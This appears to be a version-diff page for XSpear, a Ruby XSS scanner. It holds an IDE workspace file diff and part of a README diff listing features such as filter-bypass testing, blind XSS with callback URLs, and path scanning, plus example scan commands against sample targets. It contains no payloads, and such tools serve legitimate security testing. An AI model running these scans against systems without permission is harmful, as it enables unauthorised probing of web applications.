XSpear 1.2.3 → 1.3.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/.idea/workspace.xml +165 -119
- data/README.md +211 -44
- data/XSpear.gemspec +2 -0
- data/config.json +9 -0
- data/exe/XSpear +25 -12
- data/lib/XSpear/log.rb +10 -1
- data/lib/XSpear/version.rb +1 -1
- data/lib/XSpear.rb +58 -20
- metadata +31 -2
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 3a4ad44a0682af3bee97123748084c84a9e99173dd54a4c3cb6b7987ff2a5849
|
|
4
|
+
data.tar.gz: f8f3fc5a8ea264728dcd49d3257d6abcee7bd2e06b91b651aa8ebcd5ff21dcd0
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: ae4acb32ea4ba0951bf4a52b6cb89bc14187a834603bd973440252a64bbdeb0beecb74003518e79feb903601d6f81af5de4fc9f88aa799791a6ae008d04f2744
|
|
7
|
+
data.tar.gz: d192f703cb73d0e2cdd1d6a9a815d48961c0b5576659331842de7110755cec9b2d494d71fba235d8ab8b844f6f32ef413cb719a89f77574933d784ccfab07d4a
|
data/.idea/workspace.xml
CHANGED
|
@@ -3,7 +3,8 @@
|
|
|
3
3
|
<component name="ChangeListManager">
|
|
4
4
|
<list default="true" id="4ee2e581-45d7-4c90-b6a1-e92e4b5829dd" name="Default Changelist" comment="">
|
|
5
5
|
<change beforePath="$PROJECT_DIR$/.idea/workspace.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/workspace.xml" afterDir="false" />
|
|
6
|
-
<change beforePath="$PROJECT_DIR$/
|
|
6
|
+
<change beforePath="$PROJECT_DIR$/README.md" beforeDir="false" afterPath="$PROJECT_DIR$/README.md" afterDir="false" />
|
|
7
|
+
<change beforePath="$PROJECT_DIR$/exe/XSpear" beforeDir="false" afterPath="$PROJECT_DIR$/exe/XSpear" afterDir="false" />
|
|
7
8
|
<change beforePath="$PROJECT_DIR$/lib/XSpear.rb" beforeDir="false" afterPath="$PROJECT_DIR$/lib/XSpear.rb" afterDir="false" />
|
|
8
9
|
<change beforePath="$PROJECT_DIR$/lib/XSpear/version.rb" beforeDir="false" afterPath="$PROJECT_DIR$/lib/XSpear/version.rb" afterDir="false" />
|
|
9
10
|
</list>
|
|
@@ -21,31 +22,29 @@
|
|
|
21
22
|
<file pinned="false" current-in-tab="false">
|
|
22
23
|
<entry file="file://$PROJECT_DIR$/exe/XSpear">
|
|
23
24
|
<provider selected="true" editor-type-id="text-editor">
|
|
24
|
-
<state relative-caret-position="
|
|
25
|
-
<caret line="
|
|
25
|
+
<state relative-caret-position="489">
|
|
26
|
+
<caret line="60" column="77" selection-start-line="60" selection-start-column="77" selection-end-line="60" selection-end-column="77" />
|
|
26
27
|
</state>
|
|
27
28
|
</provider>
|
|
28
29
|
</entry>
|
|
29
30
|
</file>
|
|
30
31
|
<file pinned="false" current-in-tab="false">
|
|
31
|
-
<entry file="file://$PROJECT_DIR$/
|
|
32
|
-
<provider selected="true" editor-type-id="text-editor">
|
|
33
|
-
<state
|
|
34
|
-
<
|
|
32
|
+
<entry file="file://$PROJECT_DIR$/README.md">
|
|
33
|
+
<provider selected="true" editor-type-id="split-provider[text-editor;markdown-preview-editor]">
|
|
34
|
+
<state split_layout="SPLIT">
|
|
35
|
+
<first_editor relative-caret-position="6480">
|
|
36
|
+
<caret line="432" column="38" lean-forward="true" selection-start-line="432" selection-start-column="38" selection-end-line="432" selection-end-column="38" />
|
|
37
|
+
</first_editor>
|
|
38
|
+
<second_editor />
|
|
35
39
|
</state>
|
|
36
40
|
</provider>
|
|
37
41
|
</entry>
|
|
38
42
|
</file>
|
|
39
43
|
<file pinned="false" current-in-tab="false">
|
|
40
|
-
<entry file="file://$PROJECT_DIR$/
|
|
41
|
-
<provider selected="true" editor-type-id="text-editor" />
|
|
42
|
-
</entry>
|
|
43
|
-
</file>
|
|
44
|
-
<file pinned="false" current-in-tab="false">
|
|
45
|
-
<entry file="file://$USER_HOME$/.rvm/rubies/ruby-2.4.6/lib/ruby/site_ruby/2.4.0/rubygems/core_ext/kernel_require.rb">
|
|
44
|
+
<entry file="file://$PROJECT_DIR$/config.json">
|
|
46
45
|
<provider selected="true" editor-type-id="text-editor">
|
|
47
|
-
<state relative-caret-position="
|
|
48
|
-
<caret line="
|
|
46
|
+
<state relative-caret-position="105">
|
|
47
|
+
<caret line="7" column="13" selection-end-line="8" selection-end-column="1" />
|
|
49
48
|
</state>
|
|
50
49
|
</provider>
|
|
51
50
|
</entry>
|
|
@@ -53,47 +52,60 @@
|
|
|
53
52
|
<file pinned="false" current-in-tab="false">
|
|
54
53
|
<entry file="file://$PROJECT_DIR$/lib/XSpear/XSpearRepoter.rb">
|
|
55
54
|
<provider selected="true" editor-type-id="text-editor">
|
|
56
|
-
<state relative-caret-position="
|
|
55
|
+
<state relative-caret-position="28">
|
|
57
56
|
<caret line="73" selection-start-line="73" selection-end-line="73" />
|
|
58
57
|
</state>
|
|
59
58
|
</provider>
|
|
60
59
|
</entry>
|
|
61
60
|
</file>
|
|
62
|
-
<file pinned="false" current-in-tab="
|
|
63
|
-
<entry file="file://$PROJECT_DIR$/lib/XSpear
|
|
61
|
+
<file pinned="false" current-in-tab="true">
|
|
62
|
+
<entry file="file://$PROJECT_DIR$/lib/XSpear.rb">
|
|
64
63
|
<provider selected="true" editor-type-id="text-editor">
|
|
65
|
-
<state relative-caret-position="
|
|
66
|
-
<caret line="
|
|
64
|
+
<state relative-caret-position="325">
|
|
65
|
+
<caret line="183" column="6" selection-start-line="183" selection-start-column="6" selection-end-line="183" selection-end-column="6" />
|
|
67
66
|
</state>
|
|
68
67
|
</provider>
|
|
69
68
|
</entry>
|
|
70
69
|
</file>
|
|
71
|
-
<file pinned="false" current-in-tab="
|
|
72
|
-
<entry file="file://$PROJECT_DIR$/
|
|
70
|
+
<file pinned="false" current-in-tab="false">
|
|
71
|
+
<entry file="file://$PROJECT_DIR$/bin/console">
|
|
72
|
+
<provider selected="true" editor-type-id="text-editor" />
|
|
73
|
+
</entry>
|
|
74
|
+
</file>
|
|
75
|
+
<file pinned="false" current-in-tab="false">
|
|
76
|
+
<entry file="file://$PROJECT_DIR$/lib/XSpear/log.rb">
|
|
73
77
|
<provider selected="true" editor-type-id="text-editor">
|
|
74
|
-
<state relative-caret-position="
|
|
75
|
-
<caret line="
|
|
78
|
+
<state relative-caret-position="195">
|
|
79
|
+
<caret line="13" column="38" selection-start-line="13" selection-start-column="38" selection-end-line="13" selection-end-column="38" />
|
|
76
80
|
</state>
|
|
77
81
|
</provider>
|
|
78
82
|
</entry>
|
|
79
83
|
</file>
|
|
80
84
|
<file pinned="false" current-in-tab="false">
|
|
81
|
-
<entry file="file://$
|
|
85
|
+
<entry file="file://$APPLICATION_HOME_DIR$/rubystubs23/string.rb">
|
|
82
86
|
<provider selected="true" editor-type-id="text-editor">
|
|
83
|
-
<state relative-caret-position="
|
|
84
|
-
<caret line="
|
|
87
|
+
<state relative-caret-position="237">
|
|
88
|
+
<caret line="302" column="6" selection-start-line="302" selection-start-column="6" selection-end-line="302" selection-end-column="6" />
|
|
85
89
|
</state>
|
|
86
90
|
</provider>
|
|
87
91
|
</entry>
|
|
88
92
|
</file>
|
|
89
93
|
<file pinned="false" current-in-tab="false">
|
|
90
|
-
<entry file="file://$PROJECT_DIR$/
|
|
91
|
-
<provider selected="true" editor-type-id="text-editor"
|
|
94
|
+
<entry file="file://$PROJECT_DIR$/lib/XSpear/version.rb">
|
|
95
|
+
<provider selected="true" editor-type-id="text-editor">
|
|
96
|
+
<state relative-caret-position="15">
|
|
97
|
+
<caret line="1" column="18" selection-start-line="1" selection-start-column="18" selection-end-line="1" selection-end-column="18" />
|
|
98
|
+
</state>
|
|
99
|
+
</provider>
|
|
92
100
|
</entry>
|
|
93
101
|
</file>
|
|
94
102
|
<file pinned="false" current-in-tab="false">
|
|
95
|
-
<entry file="file
|
|
96
|
-
<provider selected="true" editor-type-id="text-editor"
|
|
103
|
+
<entry file="file://$PROJECT_DIR$/XSpear.gemspec">
|
|
104
|
+
<provider selected="true" editor-type-id="text-editor">
|
|
105
|
+
<state relative-caret-position="480">
|
|
106
|
+
<caret line="44" column="47" selection-start-line="44" selection-start-column="35" selection-end-line="44" selection-end-column="47" />
|
|
107
|
+
</state>
|
|
108
|
+
</provider>
|
|
97
109
|
</entry>
|
|
98
110
|
</file>
|
|
99
111
|
</leaf>
|
|
@@ -103,6 +115,15 @@
|
|
|
103
115
|
<find>BLINDNOTDETECTED</find>
|
|
104
116
|
<find>@all</find>
|
|
105
117
|
<find>@reflected_params</find>
|
|
118
|
+
<find>@thread</find>
|
|
119
|
+
<find>thread</find>
|
|
120
|
+
<find>STATIC</find>
|
|
121
|
+
<find>@progress</find>
|
|
122
|
+
<find>@progre</find>
|
|
123
|
+
<find>@verbose</find>
|
|
124
|
+
<find>puts</find>
|
|
125
|
+
<find>not fil</find>
|
|
126
|
+
<find>EH</find>
|
|
106
127
|
</findStrings>
|
|
107
128
|
</component>
|
|
108
129
|
<component name="Git.Settings">
|
|
@@ -111,22 +132,23 @@
|
|
|
111
132
|
<component name="IdeDocumentHistory">
|
|
112
133
|
<option name="CHANGED_PATHS">
|
|
113
134
|
<list>
|
|
114
|
-
<option value="$PROJECT_DIR$/lib/XSpear/log.rb" />
|
|
115
|
-
<option value="$PROJECT_DIR$/XSpear.gemspec" />
|
|
116
135
|
<option value="$PROJECT_DIR$/lib/XSpear/banner.rb" />
|
|
117
136
|
<option value="$PROJECT_DIR$/lib/XSpear/XSpearRepoter.rb" />
|
|
118
|
-
<option value="$PROJECT_DIR$/
|
|
137
|
+
<option value="$PROJECT_DIR$/config.json" />
|
|
138
|
+
<option value="$PROJECT_DIR$/XSpear.gemspec" />
|
|
139
|
+
<option value="$PROJECT_DIR$/lib/XSpear/log.rb" />
|
|
119
140
|
<option value="$PROJECT_DIR$/exe/XSpear" />
|
|
120
|
-
<option value="$PROJECT_DIR$/lib/XSpear.rb" />
|
|
121
141
|
<option value="$PROJECT_DIR$/lib/XSpear/version.rb" />
|
|
142
|
+
<option value="$PROJECT_DIR$/README.md" />
|
|
143
|
+
<option value="$PROJECT_DIR$/lib/XSpear.rb" />
|
|
122
144
|
</list>
|
|
123
145
|
</option>
|
|
124
146
|
</component>
|
|
125
|
-
<component name="ProjectFrameBounds" extendedState="6"
|
|
126
|
-
<option name="x" value="-
|
|
127
|
-
<option name="y" value="-
|
|
128
|
-
<option name="width" value="
|
|
129
|
-
<option name="height" value="
|
|
147
|
+
<component name="ProjectFrameBounds" extendedState="6">
|
|
148
|
+
<option name="x" value="-1879" />
|
|
149
|
+
<option name="y" value="-620" />
|
|
150
|
+
<option name="width" value="1036" />
|
|
151
|
+
<option name="height" value="1057" />
|
|
130
152
|
</component>
|
|
131
153
|
<component name="ProjectLevelVcsManager" settingsEditedManually="true">
|
|
132
154
|
<ConfirmationsSetting value="2" id="Add" />
|
|
@@ -237,42 +259,7 @@
|
|
|
237
259
|
<workItem from="1564151699165" duration="2494000" />
|
|
238
260
|
<workItem from="1564413097342" duration="11274000" />
|
|
239
261
|
<workItem from="1574090247432" duration="1799000" />
|
|
240
|
-
<workItem from="1577115206395" duration="
|
|
241
|
-
</task>
|
|
242
|
-
<task id="LOCAL-00017" summary="1.0.0 Final commit">
|
|
243
|
-
<created>1563553596470</created>
|
|
244
|
-
<option name="number" value="00017" />
|
|
245
|
-
<option name="presentableId" value="LOCAL-00017" />
|
|
246
|
-
<option name="project" value="LOCAL" />
|
|
247
|
-
<updated>1563553596470</updated>
|
|
248
|
-
</task>
|
|
249
|
-
<task id="LOCAL-00018" summary="Edit readme">
|
|
250
|
-
<created>1563554102958</created>
|
|
251
|
-
<option name="number" value="00018" />
|
|
252
|
-
<option name="presentableId" value="LOCAL-00018" />
|
|
253
|
-
<option name="project" value="LOCAL" />
|
|
254
|
-
<updated>1563554102958</updated>
|
|
255
|
-
</task>
|
|
256
|
-
<task id="LOCAL-00019" summary="modify dependency rspec">
|
|
257
|
-
<created>1563555157935</created>
|
|
258
|
-
<option name="number" value="00019" />
|
|
259
|
-
<option name="presentableId" value="LOCAL-00019" />
|
|
260
|
-
<option name="project" value="LOCAL" />
|
|
261
|
-
<updated>1563555157935</updated>
|
|
262
|
-
</task>
|
|
263
|
-
<task id="LOCAL-00020" summary="modify dependency rspec">
|
|
264
|
-
<created>1563555198677</created>
|
|
265
|
-
<option name="number" value="00020" />
|
|
266
|
-
<option name="presentableId" value="LOCAL-00020" />
|
|
267
|
-
<option name="project" value="LOCAL" />
|
|
268
|
-
<updated>1563555198677</updated>
|
|
269
|
-
</task>
|
|
270
|
-
<task id="LOCAL-00021" summary="modify dependency rspec">
|
|
271
|
-
<created>1563638920975</created>
|
|
272
|
-
<option name="number" value="00021" />
|
|
273
|
-
<option name="presentableId" value="LOCAL-00021" />
|
|
274
|
-
<option name="project" value="LOCAL" />
|
|
275
|
-
<updated>1563638920975</updated>
|
|
262
|
+
<workItem from="1577115206395" duration="20463000" />
|
|
276
263
|
</task>
|
|
277
264
|
<task id="LOCAL-00022" summary="Change Badge(version)">
|
|
278
265
|
<created>1563639231885</created>
|
|
@@ -582,11 +569,46 @@
|
|
|
582
569
|
<option name="project" value="LOCAL" />
|
|
583
570
|
<updated>1577118338926</updated>
|
|
584
571
|
</task>
|
|
585
|
-
<
|
|
572
|
+
<task id="LOCAL-00066" summary="(1.2.3) Bug fix #35">
|
|
573
|
+
<created>1577118594609</created>
|
|
574
|
+
<option name="number" value="00066" />
|
|
575
|
+
<option name="presentableId" value="LOCAL-00066" />
|
|
576
|
+
<option name="project" value="LOCAL" />
|
|
577
|
+
<updated>1577118594609</updated>
|
|
578
|
+
</task>
|
|
579
|
+
<task id="LOCAL-00067" summary="(1.3) fixed #38 (Added path scan)">
|
|
580
|
+
<created>1577596645830</created>
|
|
581
|
+
<option name="number" value="00067" />
|
|
582
|
+
<option name="presentableId" value="LOCAL-00067" />
|
|
583
|
+
<option name="project" value="LOCAL" />
|
|
584
|
+
<updated>1577596645830</updated>
|
|
585
|
+
</task>
|
|
586
|
+
<task id="LOCAL-00068" summary="(1.3) fixed #39 (Added inJS scan)">
|
|
587
|
+
<created>1577597049653</created>
|
|
588
|
+
<option name="number" value="00068" />
|
|
589
|
+
<option name="presentableId" value="LOCAL-00068" />
|
|
590
|
+
<option name="project" value="LOCAL" />
|
|
591
|
+
<updated>1577597049653</updated>
|
|
592
|
+
</task>
|
|
593
|
+
<task id="LOCAL-00069" summary="(1.3) fixed #37 (Added -c --config options)">
|
|
594
|
+
<created>1577612095200</created>
|
|
595
|
+
<option name="number" value="00069" />
|
|
596
|
+
<option name="presentableId" value="LOCAL-00069" />
|
|
597
|
+
<option name="project" value="LOCAL" />
|
|
598
|
+
<updated>1577612095200</updated>
|
|
599
|
+
</task>
|
|
600
|
+
<task id="LOCAL-00070" summary="(1.3) fixed #40 (Reformating Logs / Verbose 0~4)">
|
|
601
|
+
<created>1577626433478</created>
|
|
602
|
+
<option name="number" value="00070" />
|
|
603
|
+
<option name="presentableId" value="LOCAL-00070" />
|
|
604
|
+
<option name="project" value="LOCAL" />
|
|
605
|
+
<updated>1577626433478</updated>
|
|
606
|
+
</task>
|
|
607
|
+
<option name="localTasksCounter" value="71" />
|
|
586
608
|
<servers />
|
|
587
609
|
</component>
|
|
588
610
|
<component name="TimeTrackingManager">
|
|
589
|
-
<option name="totallyTimeSpent" value="
|
|
611
|
+
<option name="totallyTimeSpent" value="72506000" />
|
|
590
612
|
</component>
|
|
591
613
|
<component name="TodoView">
|
|
592
614
|
<todo-panel id="selected-file">
|
|
@@ -598,10 +620,10 @@
|
|
|
598
620
|
</todo-panel>
|
|
599
621
|
</component>
|
|
600
622
|
<component name="ToolWindowManager">
|
|
601
|
-
<frame x="-
|
|
623
|
+
<frame x="-1879" y="-620" width="1879" height="1057" extended-state="6" />
|
|
602
624
|
<editor active="true" />
|
|
603
625
|
<layout>
|
|
604
|
-
<window_info active="true" content_ui="combo" id="Project" order="0" visible="true" weight="0.
|
|
626
|
+
<window_info active="true" content_ui="combo" id="Project" order="0" visible="true" weight="0.13336962" />
|
|
605
627
|
<window_info id="Structure" order="1" side_tool="true" weight="0.25" />
|
|
606
628
|
<window_info id="Favorites" order="2" side_tool="true" />
|
|
607
629
|
<window_info anchor="bottom" id="Message" order="0" />
|
|
@@ -614,9 +636,9 @@
|
|
|
614
636
|
<window_info anchor="bottom" id="Docker" order="7" show_stripe_button="false" />
|
|
615
637
|
<window_info anchor="bottom" id="Database Changes" order="8" />
|
|
616
638
|
<window_info anchor="bottom" id="Version Control" order="9" />
|
|
617
|
-
<window_info anchor="bottom" id="Terminal" order="10" visible="true" weight="0.
|
|
639
|
+
<window_info anchor="bottom" id="Terminal" order="10" visible="true" weight="0.2373057" />
|
|
618
640
|
<window_info anchor="bottom" id="Event Log" order="11" side_tool="true" />
|
|
619
|
-
<window_info anchor="bottom" id="Messages" order="12" weight="0.
|
|
641
|
+
<window_info anchor="bottom" id="Messages" order="12" weight="0.32857144" />
|
|
620
642
|
<window_info anchor="right" id="Commander" internal_type="SLIDING" order="0" type="SLIDING" weight="0.4" />
|
|
621
643
|
<window_info anchor="right" id="Ant Build" order="1" weight="0.25" />
|
|
622
644
|
<window_info anchor="right" content_ui="combo" id="Hierarchy" order="2" weight="0.25" />
|
|
@@ -627,11 +649,6 @@
|
|
|
627
649
|
<option name="version" value="1" />
|
|
628
650
|
</component>
|
|
629
651
|
<component name="VcsManagerConfiguration">
|
|
630
|
-
<MESSAGE value="(1.0.7) Releases 1.0.7 (Modify Format, etc..)" />
|
|
631
|
-
<MESSAGE value="(1.0.8) Add event handler & html5 XSS code, new pattern" />
|
|
632
|
-
<MESSAGE value="(1.0.8) Releases 1.0.8" />
|
|
633
|
-
<MESSAGE value="(1.0.9)[Fixed #11] Add check 'useful code'" />
|
|
634
|
-
<MESSAGE value="(1.0.9)[Fixed #12] Modify XSpear Struct(option.* => options [hash])" />
|
|
635
652
|
<MESSAGE value="(1.0.9)[Fixed #10] Add raw file read options" />
|
|
636
653
|
<MESSAGE value="(1.0.9)[Fixed #13] Remove add pattern from StandardError in 'makeQueryPattern'" />
|
|
637
654
|
<MESSAGE value="(1.0.9) Releases 1.0.9 / Add --raw options, code refactoring, fixed bugs" />
|
|
@@ -652,7 +669,12 @@
|
|
|
652
669
|
<MESSAGE value="(1.1.6) Add Event handler pattern (whatthe=""onload)" />
|
|
653
670
|
<MESSAGE value="(1.2.1) Added ''-a(--test-all-params)' mode(#27) and bug fix(#34)" />
|
|
654
671
|
<MESSAGE value="(1.2.2) Remove Debug Code" />
|
|
655
|
-
<
|
|
672
|
+
<MESSAGE value="(1.2.3) Bug fix #35" />
|
|
673
|
+
<MESSAGE value="(1.3) fixed #38 (Added path scan)" />
|
|
674
|
+
<MESSAGE value="(1.3) fixed #39 (Added inJS scan)" />
|
|
675
|
+
<MESSAGE value="(1.3) fixed #37 (Added -c --config options)" />
|
|
676
|
+
<MESSAGE value="(1.3) fixed #40 (Reformating Logs / Verbose 0~4)" />
|
|
677
|
+
<option name="LAST_COMMIT_MESSAGE" value="(1.3) fixed #40 (Reformating Logs / Verbose 0~4)" />
|
|
656
678
|
</component>
|
|
657
679
|
<component name="editorHistoryManager">
|
|
658
680
|
<entry file="file://$USER_HOME$/.rvm/gems/ruby-2.4.6/gems/bundler-2.0.1/lib/bundler/rubygems_integration.rb">
|
|
@@ -675,16 +697,6 @@
|
|
|
675
697
|
</state>
|
|
676
698
|
</provider>
|
|
677
699
|
</entry>
|
|
678
|
-
<entry file="file://$PROJECT_DIR$/README.md">
|
|
679
|
-
<provider selected="true" editor-type-id="split-provider[text-editor;markdown-preview-editor]">
|
|
680
|
-
<state split_layout="SPLIT">
|
|
681
|
-
<first_editor relative-caret-position="180">
|
|
682
|
-
<caret line="12" column="72" selection-start-line="12" selection-start-column="72" selection-end-line="12" selection-end-column="72" />
|
|
683
|
-
</first_editor>
|
|
684
|
-
<second_editor />
|
|
685
|
-
</state>
|
|
686
|
-
</provider>
|
|
687
|
-
</entry>
|
|
688
700
|
<entry file="file://$USER_HOME$/.rvm/rubies/ruby-2.4.6/lib/ruby/site_ruby/2.4.0/rubygems/core_ext/kernel_require.rb">
|
|
689
701
|
<provider selected="true" editor-type-id="text-editor">
|
|
690
702
|
<state relative-caret-position="795">
|
|
@@ -692,30 +704,47 @@
|
|
|
692
704
|
</state>
|
|
693
705
|
</provider>
|
|
694
706
|
</entry>
|
|
695
|
-
<entry file="file://$PROJECT_DIR$/
|
|
707
|
+
<entry file="file://$PROJECT_DIR$/Rakefile">
|
|
708
|
+
<provider selected="true" editor-type-id="text-editor" />
|
|
709
|
+
</entry>
|
|
710
|
+
<entry file="file:///usr/local/bin/rake">
|
|
711
|
+
<provider selected="true" editor-type-id="text-editor" />
|
|
712
|
+
</entry>
|
|
713
|
+
<entry file="file://$PROJECT_DIR$/Gemfile">
|
|
714
|
+
<provider selected="true" editor-type-id="text-editor" />
|
|
715
|
+
</entry>
|
|
716
|
+
<entry file="file://$PROJECT_DIR$/config.json">
|
|
696
717
|
<provider selected="true" editor-type-id="text-editor">
|
|
697
|
-
<state relative-caret-position="
|
|
698
|
-
<caret line="
|
|
718
|
+
<state relative-caret-position="105">
|
|
719
|
+
<caret line="7" column="13" selection-end-line="8" selection-end-column="1" />
|
|
699
720
|
</state>
|
|
700
721
|
</provider>
|
|
701
722
|
</entry>
|
|
702
|
-
<entry file="file://$
|
|
723
|
+
<entry file="file://$APPLICATION_HOME_DIR$/rubystubs23/string.rb">
|
|
703
724
|
<provider selected="true" editor-type-id="text-editor">
|
|
704
|
-
<state relative-caret-position="
|
|
705
|
-
<caret line="
|
|
725
|
+
<state relative-caret-position="237">
|
|
726
|
+
<caret line="302" column="6" selection-start-line="302" selection-start-column="6" selection-end-line="302" selection-end-column="6" />
|
|
706
727
|
</state>
|
|
707
728
|
</provider>
|
|
708
729
|
</entry>
|
|
709
|
-
<entry file="file://$
|
|
710
|
-
<provider selected="true" editor-type-id="text-editor"
|
|
711
|
-
|
|
712
|
-
|
|
713
|
-
|
|
730
|
+
<entry file="file://$USER_HOME$/.rvm/gems/ruby-2.4.6/gems/options-2.3.2/lib/options.rb">
|
|
731
|
+
<provider selected="true" editor-type-id="text-editor">
|
|
732
|
+
<state relative-caret-position="15">
|
|
733
|
+
<caret line="1" column="21" selection-start-line="1" selection-start-column="21" selection-end-line="1" selection-end-column="21" />
|
|
734
|
+
</state>
|
|
735
|
+
</provider>
|
|
714
736
|
</entry>
|
|
715
737
|
<entry file="file://$PROJECT_DIR$/lib/XSpear/log.rb">
|
|
716
738
|
<provider selected="true" editor-type-id="text-editor">
|
|
717
|
-
<state relative-caret-position="
|
|
718
|
-
<caret line="
|
|
739
|
+
<state relative-caret-position="195">
|
|
740
|
+
<caret line="13" column="38" selection-start-line="13" selection-start-column="38" selection-end-line="13" selection-end-column="38" />
|
|
741
|
+
</state>
|
|
742
|
+
</provider>
|
|
743
|
+
</entry>
|
|
744
|
+
<entry file="file://$PROJECT_DIR$/XSpear.gemspec">
|
|
745
|
+
<provider selected="true" editor-type-id="text-editor">
|
|
746
|
+
<state relative-caret-position="480">
|
|
747
|
+
<caret line="44" column="47" selection-start-line="44" selection-start-column="35" selection-end-line="44" selection-end-column="47" />
|
|
719
748
|
</state>
|
|
720
749
|
</provider>
|
|
721
750
|
</entry>
|
|
@@ -724,22 +753,39 @@
|
|
|
724
753
|
</entry>
|
|
725
754
|
<entry file="file://$PROJECT_DIR$/exe/XSpear">
|
|
726
755
|
<provider selected="true" editor-type-id="text-editor">
|
|
727
|
-
<state relative-caret-position="
|
|
728
|
-
<caret line="
|
|
756
|
+
<state relative-caret-position="489">
|
|
757
|
+
<caret line="60" column="77" selection-start-line="60" selection-start-column="77" selection-end-line="60" selection-end-column="77" />
|
|
729
758
|
</state>
|
|
730
759
|
</provider>
|
|
731
760
|
</entry>
|
|
732
|
-
<entry file="file://$PROJECT_DIR$/lib/XSpear.rb">
|
|
761
|
+
<entry file="file://$PROJECT_DIR$/lib/XSpear/version.rb">
|
|
733
762
|
<provider selected="true" editor-type-id="text-editor">
|
|
734
|
-
<state relative-caret-position="
|
|
735
|
-
<caret line="
|
|
763
|
+
<state relative-caret-position="15">
|
|
764
|
+
<caret line="1" column="18" selection-start-line="1" selection-start-column="18" selection-end-line="1" selection-end-column="18" />
|
|
736
765
|
</state>
|
|
737
766
|
</provider>
|
|
738
767
|
</entry>
|
|
739
|
-
<entry file="file://$PROJECT_DIR$/
|
|
768
|
+
<entry file="file://$PROJECT_DIR$/README.md">
|
|
769
|
+
<provider selected="true" editor-type-id="split-provider[text-editor;markdown-preview-editor]">
|
|
770
|
+
<state split_layout="SPLIT">
|
|
771
|
+
<first_editor relative-caret-position="6480">
|
|
772
|
+
<caret line="432" column="38" lean-forward="true" selection-start-line="432" selection-start-column="38" selection-end-line="432" selection-end-column="38" />
|
|
773
|
+
</first_editor>
|
|
774
|
+
<second_editor />
|
|
775
|
+
</state>
|
|
776
|
+
</provider>
|
|
777
|
+
</entry>
|
|
778
|
+
<entry file="file://$PROJECT_DIR$/lib/XSpear/XSpearRepoter.rb">
|
|
740
779
|
<provider selected="true" editor-type-id="text-editor">
|
|
741
|
-
<state relative-caret-position="
|
|
742
|
-
<caret line="
|
|
780
|
+
<state relative-caret-position="28">
|
|
781
|
+
<caret line="73" selection-start-line="73" selection-end-line="73" />
|
|
782
|
+
</state>
|
|
783
|
+
</provider>
|
|
784
|
+
</entry>
|
|
785
|
+
<entry file="file://$PROJECT_DIR$/lib/XSpear.rb">
|
|
786
|
+
<provider selected="true" editor-type-id="text-editor">
|
|
787
|
+
<state relative-caret-position="325">
|
|
788
|
+
<caret line="183" column="6" selection-start-line="183" selection-start-column="6" selection-end-line="183" selection-end-column="6" />
|
|
743
789
|
</state>
|
|
744
790
|
</provider>
|
|
745
791
|
</entry>
|
data/README.md
CHANGED
|
@@ -8,22 +8,29 @@ XSpear is XSS Scanner on ruby gems
|
|
|
8
8
|
## Key features
|
|
9
9
|
- Pattern matching based XSS scanning
|
|
10
10
|
- Detect `alert` `confirm` `prompt` event on headless browser (with Selenium)
|
|
11
|
-
- Testing request/response for XSS protection bypass and reflected params<br>
|
|
11
|
+
- Testing request/response for XSS protection bypass and reflected(or all) params<br>
|
|
12
12
|
+ Reflected Params
|
|
13
|
+
+ All params(for blind xss, anytings)
|
|
13
14
|
+ Filtered test `event handler` `HTML tag` `Special Char` `Useful code`
|
|
14
15
|
- Testing Blind XSS (with XSS Hunter , ezXSS, HBXSS, Etc all url base blind test...)
|
|
15
16
|
- Dynamic/Static Analysis
|
|
16
17
|
+ Find SQL Error pattern
|
|
17
18
|
+ Analysis Security headers(`CSP` `HSTS` `X-frame-options`, `XSS-protection` etc.. )
|
|
18
19
|
+ Analysis Other headers..(Server version, Content-Type, etc...)
|
|
20
|
+
+ XSS Testing to URI Path
|
|
19
21
|
- Scanning from Raw file(Burp suite, ZAP Request)
|
|
20
22
|
- XSpear running on ruby code(with Gem library)
|
|
21
23
|
- Show `table base cli-report` and `filtered rule`, `testing raw query`(url)
|
|
22
24
|
- Testing at selected parameters
|
|
23
25
|
- Support output format `cli` `json`
|
|
24
26
|
+ cli: summary, filtered rule(params), Raw Query
|
|
25
|
-
- Support Verbose level (
|
|
27
|
+
- Support Verbose level (0~3)
|
|
28
|
+
+ 0: quite mode(only result)
|
|
29
|
+
+ 1: show scanning status(default)
|
|
30
|
+
+ 2: show scanning logs
|
|
31
|
+
+ 3: show detail log(req/res)
|
|
26
32
|
- Support custom callback code to any test various attack vectors
|
|
33
|
+
- Support Config file
|
|
27
34
|
|
|
28
35
|
## Installation
|
|
29
36
|
|
|
@@ -53,6 +60,7 @@ If you configured it to install automatically in the Gem library, but it behaves
|
|
|
53
60
|
$ gem install colorize
|
|
54
61
|
$ gem install selenium-webdriver
|
|
55
62
|
$ gem install terminal-table
|
|
63
|
+
$ gem install progress_bar
|
|
56
64
|
```
|
|
57
65
|
|
|
58
66
|
## Usage on cli
|
|
@@ -60,11 +68,13 @@ $ gem install terminal-table
|
|
|
60
68
|
```
|
|
61
69
|
Usage: xspear -u [target] -[options] [value]
|
|
62
70
|
[ e.g ]
|
|
63
|
-
$ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin'
|
|
71
|
+
$ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin' -v 1 -a
|
|
72
|
+
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 2
|
|
64
73
|
|
|
65
74
|
[ Options ]
|
|
66
75
|
-u, --url=target_URL [required] Target Url
|
|
67
76
|
-d, --data=POST Body [optional] POST Method Body data
|
|
77
|
+
-a, --test-all-params [optional] test to all params(include not reflected)
|
|
68
78
|
--headers=HEADERS [optional] Add HTTP Headers
|
|
69
79
|
--cookie=COOKIE [optional] Add Cookie
|
|
70
80
|
--raw=FILENAME [optional] Load raw file(e.g raw_sample.txt)
|
|
@@ -73,11 +83,12 @@ $ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin'
|
|
|
73
83
|
+ with XSS Hunter, ezXSS, HBXSS, etc...
|
|
74
84
|
+ e.g : -b https://hahwul.xss.ht
|
|
75
85
|
-t, --threads=NUMBER [optional] thread , default: 10
|
|
76
|
-
-o, --output=
|
|
77
|
-
-
|
|
78
|
